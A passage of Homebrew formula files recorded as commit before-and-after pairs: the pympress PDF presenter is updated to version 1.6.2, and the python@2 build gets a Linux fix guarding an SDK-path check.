"https://files.pythonhosted.org/packages/c8/dc/5343fe21c911247410667fe93d9b9a46355572ce4154037c0d7657d211ce/pympress-1.6.1.tar.gz" sha256 "17943f706124edbabb0b06a50ee927f04ee6cc232ba6edb9ccb15cc4263c0dd5" license "GPL-2.0-or-later" head "https://github.com/Cimbali/pympress.git" bottle do sha256 cellar: :any, big_sur: "dcf74c6df97e8eeda3a9a9b98aaf6ff48d7256a9f188693c84e396529c2f103d" sha256 cellar: :any, catalina: "e18b08d0632cbcc4fcb041cffed78e3c4d24c30a1f158be74e0a4eeeb7ffffb5" sha256 cellar: :any, mojave: "dca884e4a3a106e65b72c878a7444706005eeac196b9a5eba2299a3a128b9f18" end depends_on "gobject-introspection" depends_on "gtk+3" depends_on "libyaml" depends_on "poppler" depends_on "pygobject3" depends_on "python@3.9" resource "argh" do url "https://files.pythonhosted.org/packages/e3/75/1183b5d1663a66aebb2c184e0398724b624cecd4f4b679cb6e25de97ed15/argh-0.26.2.tar.gz" sha256 "e9535b8c84dc9571a48999094fda7f33e63c3f1b74f3e5f3ac0105a58405bb65" end resource "pathtools" do url "https://files.pythonhosted.org/packages/e7/7f/470d6fcdf23f9f3518f6b0b76be9df16dcc8630ad409947f8be2eb0ed13a/pathtools-0.1.2.tar.gz" sha256 "7c35c5421a39bb82e58018febd90e3b6e5db34c5443aaaf742b3f33d4655f1c0" end resource "python-vlc" do url "https://files.pythonhosted.org/packages/a8/51/299f4804c43f99d718ed43a63b1ea0712932e25b6bbe1ee1817cb8e954f7/python-vlc-3.0.7110.tar.gz" sha256 "821bca0dbe08fbff97a65e56ff2318ad7d499330876579c39f01f3fb38c7b679" end resource "PyYAML" do url "https://files.pythonhosted.org/packages/e3/e8/b3212641ee2718d556df0f23f78de8303f068fe29cdaa7a91018849582fe/PyYAML-5.1.2.tar.gz" sha256 "01adf0b6c6f61bd11af6e10ca52b7d4057dd0be0343eb9283c878cf3af56aee4" end resource "watchdog" do url "https://files.pythonhosted.org/packages/bb/e3/5a55d48a29300160779f0a0d2776d17c1b762a2039b36de528b093b87d5b/watchdog-0.9.0.tar.gz" sha256 "965f658d0732de3188211932aeb0bb457587f04f63ab4c1e33eab878e9de961d" end def install virtualenv_install_with_resources bin.install_symlink libexec/"bin/pympress" end test do on_linux do # (pympress:48790): Gtk-WARNING **: 13:03:37.080: cannot open display return if ENV["HOMEBREW_GITHUB_ACTIONS"] end system bin/"pympress", "--quit" end end
class Pympress < Formula include Language::Python::Virtualenv desc "Simple and powerful dual-screen PDF reader designed for presentations" homepage "https://github.com/Cimbali/pympress/" url "https://files.pythonhosted.org/packages/c8/dc/5343fe21c911247410667fe93d9b9a46355572ce4154037c0d7657d211ce/pympress-1.6.1.tar.gz" sha256 "17943f706124edbabb0b06a50ee927f04ee6cc232ba6edb9ccb15cc4263c0dd5" license "GPL-2.0-or-later" head "https://github.com/Cimbali/pympress.git" bottle do sha256 cellar: :any, big_sur: "dcf74c6df97e8eeda3a9a9b98aaf6ff48d7256a9f188693c84e396529c2f103d" sha256 cellar: :any, catalina: "e18b08d0632cbcc4fcb041cffed78e3c4d24c30a1f158be74e0a4eeeb7ffffb5" sha256 cellar: :any, mojave: "dca884e4a3a106e65b72c878a7444706005eeac196b9a5eba2299a3a128b9f18" end depends_on "gobject-introspection" depends_on "gtk+3" depends_on "libyaml" depends_on "poppler" depends_on "pygobject3" depends_on "python@3.9" resource "argh" do url "https://files.pythonhosted.org/packages/e3/75/1183b5d1663a66aebb2c184e0398724b624cecd4f4b679cb6e25de97ed15/argh-0.26.2.tar.gz" sha256 "e9535b8c84dc9571a48999094fda7f33e63c3f1b74f3e5f3ac0105a58405bb65" end resource "pathtools" do url "https://files.pythonhosted.org/packages/e7/7f/470d6fcdf23f9f3518f6b0b76be9df16dcc8630ad409947f8be2eb0ed13a/pathtools-0.1.2.tar.gz" sha256 "7c35c5421a39bb82e58018febd90e3b6e5db34c5443aaaf742b3f33d4655f1c0" end resource "python-vlc" do url "https://files.pythonhosted.org/packages/a8/51/299f4804c43f99d718ed43a63b1ea0712932e25b6bbe1ee1817cb8e954f7/python-vlc-3.0.7110.tar.gz" sha256 "821bca0dbe08fbff97a65e56ff2318ad7d499330876579c39f01f3fb38c7b679" end resource "PyYAML" do url "https://files.pythonhosted.org/packages/e3/e8/b3212641ee2718d556df0f23f78de8303f068fe29cdaa7a91018849582fe/PyYAML-5.1.2.tar.gz" sha256 "01adf0b6c6f61bd11af6e10ca52b7d4057dd0be0343eb9283c878cf3af56aee4" end resource "watchdog" do url "https://files.pythonhosted.org/packages/bb/e3/5a55d48a29300160779f0a0d2776d17c1b762a2039b36de528b093b87d5b/watchdog-0.9.0.tar.gz" sha256 "965f658d0732de3188211932aeb0bb457587f04f63ab4c1e33eab878e9de961d" end def install virtualenv_install_with_resources bin.install_symlink libexec/"bin/pympress" end test do on_linux do # (pympress:48790): Gtk-WARNING **: 13:03:37.080: cannot open display return if ENV["HOMEBREW_GITHUB_ACTIONS"] end system bin/"pympress", "--quit" end end pympress 1.6.2 * Update pympress v1.6.2 * pympress: update resource blocks Closes #81781. Co-authored-by: Carlo Cabrera <3ffc397d0e4bded29cb84b56167de54c01e3a55b@users.noreply.github.com> Signed-off-by: Carlo Cabrera <3ffc397d0e4bded29cb84b56167de54c01e3a55b@users.noreply.github.com> Signed-off-by: BrewTestBot <8a898ee6867e4f2028e63d2a6319b2224641c06c@users.noreply.github.com> class Pympress < Formula include Language::Python::Virtualenv desc "Simple and powerful dual-screen PDF reader designed for presentations" homepage "https://github.com/Cimbali/pympress/" url "https://files.pythonhosted.org/packages/df/e2/505d85316e07aa2a641cf88460a2bb0ac0eac26462e87b98993a08b1e639/pympress-1.6.2.tar.gz" sha256 "70b6933dda56e2ed300d257777ae0ced2964dbb9dab7dc3e25abd8d7abe3b56c" license "GPL-2.0-or-later" head "https://github.com/Cimbali/pympress.git" bottle do sha256 cellar: :any, big_sur: "dcf74c6df97e8eeda3a9a9b98aaf6ff48d7256a9f188693c84e396529c2f103d" sha256 cellar: :any, catalina: "e18b08d0632cbcc4fcb041cffed78e3c4d24c30a1f158be74e0a4eeeb7ffffb5" sha256 cellar: :any, mojave: "dca884e4a3a106e65b72c878a7444706005eeac196b9a5eba2299a3a128b9f18" end depends_on "gobject-introspection" depends_on "gtk+3" depends_on "libyaml" depends_on "poppler" depends_on "pygobject3" depends_on "python@3.9" resource "watchdog" do url "https://files.pythonhosted.org/packages/f5/c2/d1ff8343cd38138561d2f08aba7b0566020485346097019f3a87773c96fc/watchdog-2.1.3.tar.gz" sha256 "e5236a8e8602ab6db4b873664c2d356c365ab3cac96fbdec4970ad616415dd45" end def install virtualenv_install_with_resources bin.install_symlink libexec/"bin/pympress" end test do on_linux do # (pympress:48790): Gtk-WARNING **: 13:03:37.080: cannot open display return if ENV["HOMEBREW_GITHUB_ACTIONS"] end system bin/"pympress", "--quit" end end
class PythonAT2 < Formula desc "Interpreted, interactive, object-oriented programming language" homepage "https://www.python.org/" url "https://www.python.org/ftp/python/2.7.15/Python-2.7.15.tar.xz" sha256 "22d9b1ac5b26135ad2b8c2901a9413537e08749a753356ee913c84dbd2df5574" revision 1 head "https://github.com/python/cpython.git", :branch => "2.7" bottle do rebuild 3 sha256 "e715eaa42c561322bde619842486904e62269a3f04e93a1a5ee1d914aa98ae80" => :mojave sha256 "b713f6116757c5899450836f1e4484c086d14e4d31a759b4faea45ee860d4e9a" => :high_sierra sha256 "a690d38a18c08f8082384cd1009b2d5737c0f8f024592c38cc31350a6dd2cbaa" => :sierra sha256 "d09aa60dc7f5aca86c285807cf6f6202b63a02e5a6cd3a112c6d81e8a7652b17" => :el_capitan sha256 "c7b041d6e79c6ffd9ebbfe0b4f5db0119c3a8632c8cf94dc1a9623dbf99576aa" => :x86_64_linux end # Please don't add a wide/ucs4 option as it won't be accepted. # More details in: https://github.com/Homebrew/homebrew/pull/32368 option "with-tcl-tk", "Use Homebrew's Tk instead of macOS Tk (has optional Cocoa and threads support)" deprecated_option "with-brewed-tk" => "with-tcl-tk" depends_on "pkg-config" => :build depends_on "sphinx-doc" => :build if MacOS.version > :snow_leopard depends_on "gdbm" depends_on "openssl" depends_on "readline" depends_on "sqlite" depends_on "tcl-tk" => :optional unless OS.mac? depends_on "linuxbrew/xorg/xorg" if build.with? "tcl-tk" depends_on "bzip2" depends_on "ncurses" depends_on "zlib" end resource "setuptools" do url "https://files.pythonhosted.org/packages/ef/1d/201c13e353956a1c840f5d0fbf0461bd45bbd678ea4843ebf25924e8984c/setuptools-40.2.0.zip" sha256 "47881d54ede4da9c15273bac65f9340f8929d4f0213193fa7894be384f2dcfa6" end resource "pip" do url "https://files.pythonhosted.org/packages/69/81/52b68d0a4de760a2f1979b0931ba7889202f302072cc7a0d614211bc7579/pip-18.0.tar.gz" sha256 "a0e11645ee37c90b40c46d607070c4fd583e2cd46231b1c06e389c5e814eed76" end resource "wheel" do url "https://files.pythonhosted.org/packages/2a/fb/aefe5d5dbc3f4fe1e815bcdb05cbaab19744d201bbc9b59cfa06ec7fc789/wheel-0.31.1.tar.gz" sha256 "0a2e54558a0628f2145d2fc822137e322412115173e8a2ddbe1c9024338ae83c" end # Patch to disable the search for Tk.framework, since Homebrew's Tk is # a plain unix build. Remove `-lX11`, too because our Tk is "AquaTk". if build.with? "tcl-tk" patch do url "https://raw.githubusercontent.com/Homebrew/patches/42fcf22/python/brewed-tk-patch.diff" sha256 "15c153bdfe51a98efe48f8e8379f5d9b5c6c4015e53d3f9364d23c8689857f09" end end def lib_cellar prefix / (OS.mac? ? "Frameworks/Python.framework/Versions/2.7" : "") / "lib/python2.7" end def site_packages_cellar lib_cellar/"site-packages" end # The HOMEBREW_PREFIX location of site-packages. def site_packages HOMEBREW_PREFIX/"lib/python2.7/site-packages" end # setuptools remembers the build flags python is built with and uses them to # build packages later. Xcode-only systems need different flags. pour_bottle? do reason <<~EOS The bottle needs the Apple Command Line Tools to be installed. You can install them, if desired, with: xcode-select --install EOS satisfy { MacOS::CLT.installed? } end def install # Unset these so that installing pip and setuptools puts them where we want # and not into some other Python the user has installed. ENV["PYTHONHOME"] = nil ENV["PYTHONPATH"] = nil args = %W[ --prefix=#{prefix} --enable-ipv6 --datarootdir=#{share} --datadir=#{share} #{OS.mac? ? "--enable-framework=#{frameworks}" : "--enable-shared"} --without-ensurepip ] # See upstream bug report from 22 Jan 2018 "Significant performance problems # with Python 2.7 built with clang 3.x or 4.x" # https://bugs.python.org/issue32616 # https://github.com/Homebrew/homebrew-core/issues/22743 if DevelopmentTools.clang_build_version >= 802 && DevelopmentTools.clang_build_version < 902 args << "--without-computed-gotos" end args << "--without-gcc" if ENV.compiler == :clang cflags = [] ldflags = [] cppflags = [] if MacOS.sdk_path_if_needed # Help Python's build system (setuptools/pip) to build things on SDK-based systems # The setup.py looks at "-isysroot" to get the sysroot (and not at --sysroot) cflags << "-isysroot #{MacOS.sdk_path}" ldflags << "-isysroot #{MacOS.sdk_path}" cflags << "-I/usr/include" # find zlib # For the Xlib.h, Python needs this header dir with the system Tk if build.without? "tcl-tk" # Yep, this needs the absolute path where zlib needed # a path relative to the SDK. cflags << "-I#{MacOS.sdk_path}/System/Library/Frameworks/Tk.framework/Versions/8.5/Headers" end end # Python's setup.py parses CPPFLAGS and LDFLAGS to learn search # paths for the dependencies of the compiled extension modules. # See Homebrew/linuxbrew#420, Homebrew/linuxbrew#460, and Homebrew/linuxbrew#875 unless OS.mac? if build.bottle? # Configure Python to use cc and c++ to build extension modules. ENV["CC"] = "cc" ENV["CXX"] = "c++" end cppflags << ENV.cppflags << " -I#{HOMEBREW_PREFIX}/include" ldflags << ENV.ldflags << " -L#{HOMEBREW_PREFIX}/lib" end # Avoid linking to libgcc https://code.activestate.com/lists/python-dev/112195/ args << "MACOSX_DEPLOYMENT_TARGET=#{MacOS.version}" # We want our readline and openssl! This is just to outsmart the detection code, # superenv handles that cc finds includes/libs! inreplace "setup.py" do |s| s.gsub! "do_readline = self.compiler.find_library_file(lib_dirs, 'readline')", "do_readline = '#{Formula["readline"].opt_lib}/libhistory.dylib'" s.gsub! "/usr/local/ssl", Formula["openssl"].opt_prefix end inreplace "setup.py" do |s| s.gsub! "sqlite_setup_debug = False", "sqlite_setup_debug = True" s.gsub! "for d_ in inc_dirs + sqlite_inc_paths:", "for d_ in ['#{Formula["sqlite"].opt_include}']:" # Allow sqlite3 module to load extensions: # https://docs.python.org/library/sqlite3.html#f1 s.gsub! 'sqlite_defines.append(("SQLITE_OMIT_LOAD_EXTENSION", "1"))', "" end # Allow python modules to use ctypes.find_library to find homebrew's stuff # even if homebrew is not a /usr/local/lib. Try this with: # `brew install enchant && pip install pyenchant` inreplace "./Lib/ctypes/macholib/dyld.py" do |f| f.gsub! "DEFAULT_LIBRARY_FALLBACK = [", "DEFAULT_LIBRARY_FALLBACK = [ '#{HOMEBREW_PREFIX}/lib'," f.gsub! "DEFAULT_FRAMEWORK_FALLBACK = [", "DEFAULT_FRAMEWORK_FALLBACK = [ '#{HOMEBREW_PREFIX}/Frameworks'," end if build.with? "tcl-tk" tcl_tk = Formula["tcl-tk"].opt_prefix cppflags << "-I#{tcl_tk}/include" ldflags << "-L#{tcl_tk}/lib" end args << "CFLAGS=#{cflags.join(" ")}" unless cflags.empty? args << "LDFLAGS=#{ldflags.join(" ")}" unless ldflags.empty? args << "CPPFLAGS=#{cppflags.join(" ")}" unless cppflags.empty? system "./configure", *args system "make" ENV.deparallelize do # Tell Python not to install into /Applications system "make", "install", "PYTHONAPPSDIR=#{prefix}" system "make", "frameworkinstallextras", "PYTHONAPPSDIR=#{pkgshare}" if OS.mac? end # Fixes setting Python build flags for certain software # See: https://github.com/Homebrew/homebrew/pull/20182 # https://bugs.python.org/issue3588 inreplace lib_cellar/"config/Makefile" do |s| s.change_make_var! "LINKFORSHARED", "-u _PyMac_Error $(PYTHONFRAMEWORKINSTALLDIR)/Versions/$(VERSION)/$(PYTHONFRAMEWORK)" end if OS.mac? if OS.mac? # Prevent third-party packages from building against fragile Cellar paths inreplace [lib_cellar/"_sysconfigdata.py", lib_cellar/"config/Makefile", frameworks/"Python.framework/Versions/Current/lib/pkgconfig/python-2.7.pc"], prefix, opt_prefix end # Symlink the pkgconfig files into HOMEBREW_PREFIX so they're accessible. (lib/"pkgconfig").install_symlink Dir[frameworks/"Python.framework/Versions/Current/lib/pkgconfig/*"] # Remove 2to3 because Python 3 also installs it rm bin/"2to3" # Remove the site-packages that Python created in its Cellar. site_packages_cellar.rmtree (libexec/"setuptools").install resource("setuptools") (libexec/"pip").install resource("pip") (libexec/"wheel").install resource("wheel") if MacOS.version > :snow_leopard cd "Doc" do system "make", "html" doc.install Dir["build/html/*"] end end end def post_install # Avoid conflicts with lingering unversioned files from Python 3 rm_f %W[ #{HOMEBREW_PREFIX}/bin/easy_install #{HOMEBREW_PREFIX}/bin/pip #{HOMEBREW_PREFIX}/bin/wheel ] # Fix up the site-packages so that user-installed Python software survives # minor updates, such as going from 2.7.0 to 2.7.1: # Create a site-packages in HOMEBREW_PREFIX/lib/python2.7/site-packages site_packages.mkpath # Symlink the prefix site-packages into the cellar. site_packages_cellar.unlink if site_packages_cellar.exist? site_packages_cellar.parent.install_symlink site_packages # Write our sitecustomize.py rm_rf Dir["#{site_packages}/sitecustomize.py[co]"] (site_packages/"sitecustomize.py").atomic_write(sitecustomize) if OS.mac? # Remove old setuptools installations that may still fly around and be # listed in the easy_install.pth. This can break setuptools build with # zipimport.ZipImportError: bad local file header # setuptools-0.9.5-py3.3.egg rm_rf Dir["#{site_packages}/setuptools*"] rm_rf Dir["#{site_packages}/distribute*"] rm_rf Dir["#{site_packages}/pip[-_.][0-9]*", "#{site_packages}/pip"] setup_args = ["-s", "setup.py", "--no-user-cfg", "install", "--force", "--verbose", "--single-version-externally-managed", "--record=installed.txt", "--install-scripts=#{bin}", "--install-lib=#{site_packages}"] (libexec/"setuptools").cd { system "#{bin}/python", *setup_args } (libexec/"pip").cd { system "#{bin}/python", *setup_args } (libexec/"wheel").cd { system "#{bin}/python", *setup_args } # When building from source, these symlinks will not exist, since # post_install happens after linking. %w[pip pip2 pip2.7 easy_install easy_install-2.7 wheel].each do |e| (HOMEBREW_PREFIX/"bin").install_symlink bin/e end # Help distutils find brewed stuff when building extensions include_dirs = [HOMEBREW_PREFIX/"include", Formula["openssl"].opt_include, Formula["sqlite"].opt_include] library_dirs = [HOMEBREW_PREFIX/"lib", Formula["openssl"].opt_lib, Formula["sqlite"].opt_lib] if build.with? "tcl-tk" include_dirs << Formula["tcl-tk"].opt_include library_dirs << Formula["tcl-tk"].opt_lib end cfg = lib_cellar/"distutils/distutils.cfg" cfg.atomic_write <<~EOS [install] prefix=#{HOMEBREW_PREFIX} [build_ext] include_dirs=#{include_dirs.join ":"} library_dirs=#{library_dirs.join ":"} EOS end def sitecustomize <<~EOS # This file is created by Homebrew and is executed on each python startup. # Don't print from here, or else python command line scripts may fail! # <https://docs.brew.sh/Homebrew-and-Python> import re import os import sys if sys.version_info[0] != 2: # This can only happen if the user has set the PYTHONPATH for 3.x and run Python 2.x or vice versa. # Every Python looks at the PYTHONPATH variable and we can't fix it here in sitecustomize.py, # because the PYTHONPATH is evaluated after the sitecustomize.py. Many modules (e.g. PyQt4) are # built only for a specific version of Python and will fail with cryptic error messages. # In the end this means: Don't set the PYTHONPATH permanently if you use different Python versions. exit('Your PYTHONPATH points to a site-packages dir for Python 2.x but you are running Python ' + str(sys.version_info[0]) + '.x!\\n PYTHONPATH is currently: "' + str(os.environ['PYTHONPATH']) + '"\\n' + ' You should `unset PYTHONPATH` to fix this.') # Only do this for a brewed python: if os.path.realpath(sys.executable).startswith('#{rack}'): # Shuffle /Library site-packages to the end of sys.path and reject # paths in /System pre-emptively (#14712) library_site = '/Library/Python/2.7/site-packages' library_packages = [p for p in sys.path if p.startswith(library_site)] sys.path = [p for p in sys.path if not p.startswith(library_site) and not p.startswith('/System')] # .pth files have already been processed so don't use addsitedir sys.path.extend(library_packages) # the Cellar site-packages is a symlink to the HOMEBREW_PREFIX # site_packages; prefer the shorter paths long_prefix = re.compile(r'#{rack}/[0-9\._abrc]+/Frameworks/Python\.framework/Versions/2\.7/lib/python2\.7/site-packages') sys.path = [long_prefix.sub('#{site_packages}', p) for p in sys.path] # LINKFORSHARED (and python-config --ldflags) return the # full path to the lib (yes, "Python" is actually the lib, not a # dir) so that third-party software does not need to add the # -F/#{HOMEBREW_PREFIX}/Frameworks switch. try: from _sysconfigdata import build_time_vars build_time_vars['LINKFORSHARED'] = '-u _PyMac_Error #{opt_prefix}/Frameworks/Python.framework/Versions/2.7/Python' except: pass # remember: don't print here. Better to fail silently. # Set the sys.executable to use the opt_prefix sys.executable = '#{opt_bin}/python2.7' EOS end def caveats; <<~EOS Pip and setuptools have been installed. To update them pip install --upgrade pip setuptools You can install Python packages with pip install <package> They will install into the site-package directory #{site_packages} See: https://docs.brew.sh/Homebrew-and-Python EOS end test do # Check if sqlite is ok, because we build with --enable-loadable-sqlite-extensions # and it can occur that building sqlite silently fails if OSX's sqlite is used. system "#{bin}/python", "-c", "import sqlite3" # Check if some other modules import. Then the linked libs are working. system "#{bin}/python", "-c", "import Tkinter; root = Tkinter.Tk()" if OS.mac? system "#{bin}/python", "-c", "import gdbm" system bin/"pip", "list", "--format=columns" end end python@2: Fix undefined method sdk_path_if_needed [Linux] class PythonAT2 < Formula desc "Interpreted, interactive, object-oriented programming language" homepage "https://www.python.org/" url "https://www.python.org/ftp/python/2.7.15/Python-2.7.15.tar.xz" sha256 "22d9b1ac5b26135ad2b8c2901a9413537e08749a753356ee913c84dbd2df5574" revision 1 head "https://github.com/python/cpython.git", :branch => "2.7" bottle do rebuild 3 sha256 "e715eaa42c561322bde619842486904e62269a3f04e93a1a5ee1d914aa98ae80" => :mojave sha256 "b713f6116757c5899450836f1e4484c086d14e4d31a759b4faea45ee860d4e9a" => :high_sierra sha256 "a690d38a18c08f8082384cd1009b2d5737c0f8f024592c38cc31350a6dd2cbaa" => :sierra sha256 "d09aa60dc7f5aca86c285807cf6f6202b63a02e5a6cd3a112c6d81e8a7652b17" => :el_capitan sha256 "c7b041d6e79c6ffd9ebbfe0b4f5db0119c3a8632c8cf94dc1a9623dbf99576aa" => :x86_64_linux end # Please don't add a wide/ucs4 option as it won't be accepted. # More details in: https://github.com/Homebrew/homebrew/pull/32368 option "with-tcl-tk", "Use Homebrew's Tk instead of macOS Tk (has optional Cocoa and threads support)" deprecated_option "with-brewed-tk" => "with-tcl-tk" depends_on "pkg-config" => :build depends_on "sphinx-doc" => :build if MacOS.version > :snow_leopard depends_on "gdbm" depends_on "openssl" depends_on "readline" depends_on "sqlite" depends_on "tcl-tk" => :optional unless OS.mac? depends_on "linuxbrew/xorg/xorg" if build.with? "tcl-tk" depends_on "bzip2" depends_on "ncurses" depends_on "zlib" end resource "setuptools" do url "https://files.pythonhosted.org/packages/ef/1d/201c13e353956a1c840f5d0fbf0461bd45bbd678ea4843ebf25924e8984c/setuptools-40.2.0.zip" sha256 "47881d54ede4da9c15273bac65f9340f8929d4f0213193fa7894be384f2dcfa6" end resource "pip" do url "https://files.pythonhosted.org/packages/69/81/52b68d0a4de760a2f1979b0931ba7889202f302072cc7a0d614211bc7579/pip-18.0.tar.gz" sha256 "a0e11645ee37c90b40c46d607070c4fd583e2cd46231b1c06e389c5e814eed76" end resource "wheel" do url "https://files.pythonhosted.org/packages/2a/fb/aefe5d5dbc3f4fe1e815bcdb05cbaab19744d201bbc9b59cfa06ec7fc789/wheel-0.31.1.tar.gz" sha256 "0a2e54558a0628f2145d2fc822137e322412115173e8a2ddbe1c9024338ae83c" end # Patch to disable the search for Tk.framework, since Homebrew's Tk is # a plain unix build. Remove `-lX11`, too because our Tk is "AquaTk". if build.with? "tcl-tk" patch do url "https://raw.githubusercontent.com/Homebrew/patches/42fcf22/python/brewed-tk-patch.diff" sha256 "15c153bdfe51a98efe48f8e8379f5d9b5c6c4015e53d3f9364d23c8689857f09" end end def lib_cellar prefix / (OS.mac? ? "Frameworks/Python.framework/Versions/2.7" : "") / "lib/python2.7" end def site_packages_cellar lib_cellar/"site-packages" end # The HOMEBREW_PREFIX location of site-packages. def site_packages HOMEBREW_PREFIX/"lib/python2.7/site-packages" end # setuptools remembers the build flags python is built with and uses them to # build packages later. Xcode-only systems need different flags. pour_bottle? do reason <<~EOS The bottle needs the Apple Command Line Tools to be installed. You can install them, if desired, with: xcode-select --install EOS satisfy { MacOS::CLT.installed? } end def install # Unset these so that installing pip and setuptools puts them where we want # and not into some other Python the user has installed. ENV["PYTHONHOME"] = nil ENV["PYTHONPATH"] = nil args = %W[ --prefix=#{prefix} --enable-ipv6 --datarootdir=#{share} --datadir=#{share} #{OS.mac? ? "--enable-framework=#{frameworks}" : "--enable-shared"} --without-ensurepip ] # See upstream bug report from 22 Jan 2018 "Significant performance problems # with Python 2.7 built with clang 3.x or 4.x" # https://bugs.python.org/issue32616 # https://github.com/Homebrew/homebrew-core/issues/22743 if DevelopmentTools.clang_build_version >= 802 && DevelopmentTools.clang_build_version < 902 args << "--without-computed-gotos" end args << "--without-gcc" if ENV.compiler == :clang cflags = [] ldflags = [] cppflags = [] if OS.mac? && MacOS.sdk_path_if_needed # Help Python's build system (setuptools/pip) to build things on SDK-based systems # The setup.py looks at "-isysroot" to get the sysroot (and not at --sysroot) cflags << "-isysroot #{MacOS.sdk_path}" ldflags << "-isysroot #{MacOS.sdk_path}" cflags << "-I/usr/include" # find zlib # For the Xlib.h, Python needs this header dir with the system Tk if build.without? "tcl-tk" # Yep, this needs the absolute path where zlib needed # a path relative to the SDK. cflags << "-I#{MacOS.sdk_path}/System/Library/Frameworks/Tk.framework/Versions/8.5/Headers" end end # Python's setup.py parses CPPFLAGS and LDFLAGS to learn search # paths for the dependencies of the compiled extension modules. # See Homebrew/linuxbrew#420, Homebrew/linuxbrew#460, and Homebrew/linuxbrew#875 unless OS.mac? if build.bottle? # Configure Python to use cc and c++ to build extension modules. ENV["CC"] = "cc" ENV["CXX"] = "c++" end cppflags << ENV.cppflags << " -I#{HOMEBREW_PREFIX}/include" ldflags << ENV.ldflags << " -L#{HOMEBREW_PREFIX}/lib" end # Avoid linking to libgcc https://code.activestate.com/lists/python-dev/112195/ args << "MACOSX_DEPLOYMENT_TARGET=#{MacOS.version}" # We want our readline and openssl! This is just to outsmart the detection code, # superenv handles that cc finds includes/libs! inreplace "setup.py" do |s| s.gsub! "do_readline = self.compiler.find_library_file(lib_dirs, 'readline')", "do_readline = '#{Formula["readline"].opt_lib}/libhistory.dylib'" s.gsub! "/usr/local/ssl", Formula["openssl"].opt_prefix end inreplace "setup.py" do |s| s.gsub! "sqlite_setup_debug = False", "sqlite_setup_debug = True" s.gsub! "for d_ in inc_dirs + sqlite_inc_paths:", "for d_ in ['#{Formula["sqlite"].opt_include}']:" # Allow sqlite3 module to load extensions: # https://docs.python.org/library/sqlite3.html#f1 s.gsub! 'sqlite_defines.append(("SQLITE_OMIT_LOAD_EXTENSION", "1"))', "" end # Allow python modules to use ctypes.find_library to find homebrew's stuff # even if homebrew is not a /usr/local/lib. Try this with: # `brew install enchant && pip install pyenchant` inreplace "./Lib/ctypes/macholib/dyld.py" do |f| f.gsub! "DEFAULT_LIBRARY_FALLBACK = [", "DEFAULT_LIBRARY_FALLBACK = [ '#{HOMEBREW_PREFIX}/lib'," f.gsub! "DEFAULT_FRAMEWORK_FALLBACK = [", "DEFAULT_FRAMEWORK_FALLBACK = [ '#{HOMEBREW_PREFIX}/Frameworks'," end if build.with? "tcl-tk" tcl_tk = Formula["tcl-tk"].opt_prefix cppflags << "-I#{tcl_tk}/include" ldflags << "-L#{tcl_tk}/lib" end args << "CFLAGS=#{cflags.join(" ")}" unless cflags.empty? args << "LDFLAGS=#{ldflags.join(" ")}" unless ldflags.empty? args << "CPPFLAGS=#{cppflags.join(" ")}" unless cppflags.empty? system "./configure", *args system "make" ENV.deparallelize do # Tell Python not to install into /Applications system "make", "install", "PYTHONAPPSDIR=#{prefix}" system "make", "frameworkinstallextras", "PYTHONAPPSDIR=#{pkgshare}" if OS.mac? end # Fixes setting Python build flags for certain software # See: https://github.com/Homebrew/homebrew/pull/20182 # https://bugs.python.org/issue3588 inreplace lib_cellar/"config/Makefile" do |s| s.change_make_var! "LINKFORSHARED", "-u _PyMac_Error $(PYTHONFRAMEWORKINSTALLDIR)/Versions/$(VERSION)/$(PYTHONFRAMEWORK)" end if OS.mac? if OS.mac? # Prevent third-party packages from building against fragile Cellar paths inreplace [lib_cellar/"_sysconfigdata.py", lib_cellar/"config/Makefile", frameworks/"Python.framework/Versions/Current/lib/pkgconfig/python-2.7.pc"], prefix, opt_prefix end # Symlink the pkgconfig files into HOMEBREW_PREFIX so they're accessible. (lib/"pkgconfig").install_symlink Dir[frameworks/"Python.framework/Versions/Current/lib/pkgconfig/*"] # Remove 2to3 because Python 3 also installs it rm bin/"2to3" # Remove the site-packages that Python created in its Cellar. site_packages_cellar.rmtree (libexec/"setuptools").install resource("setuptools") (libexec/"pip").install resource("pip") (libexec/"wheel").install resource("wheel") if MacOS.version > :snow_leopard cd "Doc" do system "make", "html" doc.install Dir["build/html/*"] end end end def post_install # Avoid conflicts with lingering unversioned files from Python 3 rm_f %W[ #{HOMEBREW_PREFIX}/bin/easy_install #{HOMEBREW_PREFIX}/bin/pip #{HOMEBREW_PREFIX}/bin/wheel ] # Fix up the site-packages so that user-installed Python software survives # minor updates, such as going from 2.7.0 to 2.7.1: # Create a site-packages in HOMEBREW_PREFIX/lib/python2.7/site-packages site_packages.mkpath # Symlink the prefix site-packages into the cellar. site_packages_cellar.unlink if site_packages_cellar.exist? site_packages_cellar.parent.install_symlink site_packages # Write our sitecustomize.py rm_rf Dir["#{site_packages}/sitecustomize.py[co]"] (site_packages/"sitecustomize.py").atomic_write(sitecustomize) if OS.mac? # Remove old setuptools installations that may still fly around and be # listed in the easy_install.pth. This can break setuptools build with # zipimport.ZipImportError: bad local file header # setuptools-0.9.5-py3.3.egg rm_rf Dir["#{site_packages}/setuptools*"] rm_rf Dir["#{site_packages}/distribute*"] rm_rf Dir["#{site_packages}/pip[-_.][0-9]*", "#{site_packages}/pip"] setup_args = ["-s", "setup.py", "--no-user-cfg", "install", "--force", "--verbose", "--single-version-externally-managed", "--record=installed.txt", "--install-scripts=#{bin}", "--install-lib=#{site_packages}"] (libexec/"setuptools").cd { system "#{bin}/python", *setup_args } (libexec/"pip").cd { system "#{bin}/python", *setup_args } (libexec/"wheel").cd { system "#{bin}/python", *setup_args } # When building from source, these symlinks will not exist, since # post_install happens after linking. %w[pip pip2 pip2.7 easy_install easy_install-2.7 wheel].each do |e| (HOMEBREW_PREFIX/"bin").install_symlink bin/e end # Help distutils find brewed stuff when building extensions include_dirs = [HOMEBREW_PREFIX/"include", Formula["openssl"].opt_include, Formula["sqlite"].opt_include] library_dirs = [HOMEBREW_PREFIX/"lib", Formula["openssl"].opt_lib, Formula["sqlite"].opt_lib] if build.with? "tcl-tk" include_dirs << Formula["tcl-tk"].opt_include library_dirs << Formula["tcl-tk"].opt_lib end cfg = lib_cellar/"distutils/distutils.cfg" cfg.atomic_write <<~EOS [install] prefix=#{HOMEBREW_PREFIX} [build_ext] include_dirs=#{include_dirs.join ":"} library_dirs=#{library_dirs.join ":"} EOS end def sitecustomize <<~EOS # This file is created by Homebrew and is executed on each python startup. # Don't print from here, or else python command line scripts may fail! # <https://docs.brew.sh/Homebrew-and-Python> import re import os import sys if sys.version_info[0] != 2: # This can only happen if the user has set the PYTHONPATH for 3.x and run Python 2.x or vice versa. # Every Python looks at the PYTHONPATH variable and we can't fix it here in sitecustomize.py, # 